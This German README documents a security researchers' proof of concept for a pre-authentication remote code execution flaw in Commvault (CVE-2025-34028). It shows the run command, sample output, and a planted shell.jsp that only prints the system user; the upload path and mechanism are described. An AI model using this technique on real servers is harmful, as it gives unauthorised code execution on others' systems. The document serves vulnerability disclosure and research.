watchtowrlabs/watchtowr-vs-commvault-preauth-rce-cve-2025-34028
Ein Proof-of-Concept für vorauthentifizierte Remote-Codeausführung in Commvault
Weitere technische Details finden Sie in unserem [Blogbeitrag] (https://labs.watchtowr.com/)
python watchtowr-vs-commvault-rce-CVE-2025-34028.py --url https://192.168.1.1
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
watchtowr-vs-commvault-rce-CVE-2025-34028.py
(*) Commvault Unauthenticated Remote Code Execution (CVE-2025-34028) POC by watchTowr
- Sonny , watchTowr ([email protected])
CVEs: [CVE-2025-34028]
[*] Targeting https://192.168.1.1
[*] Verifying presence of Commvault
[*] Uploading to /reports/MetricsUpload/2GfMIJdK/
[*] Fetching System User from https://192.168.1.1/reports/MetricsUpload/2GfMIJdK/.tmp/dist-cc/dist-cc/shell.jsp
[*] System User EC2XXX-XXXXXXX$
Dieses Skript ist ein Proof-of-Concept für CVE-2025-34028 für Commvault-Weboberflächen. Durch das Hochladen einer ZIP-Datei, die eine .jsp-Datei zur Codeausführung enthält, wird die ZIP-Datei in ein öffentlich zugängliches Verzeichnis hochgeladen und der Systembenutzer wird in der Antwort detailliert aufgeführt. Weitere Details finden Sie in unserem [Blogbeitrag] (https://labs.watchtowr.com/).
Das PoC-Skript verwendet eine hartcodierte ZIP-Datei, die die folgenden Dateien enthält:
Inhalt von Shell.jsp:
<%@ page import="java.util.*" %>
<html>
<body>
<h3>System Information</h3>
<p>Current User: <%= System.getProperty("user.name") %></p>
</body>
</html>
Weitere Details unter Commvault Advisory
Für die neueste Sicherheitsforschung folgen Sie dem watchTowr Labs-Team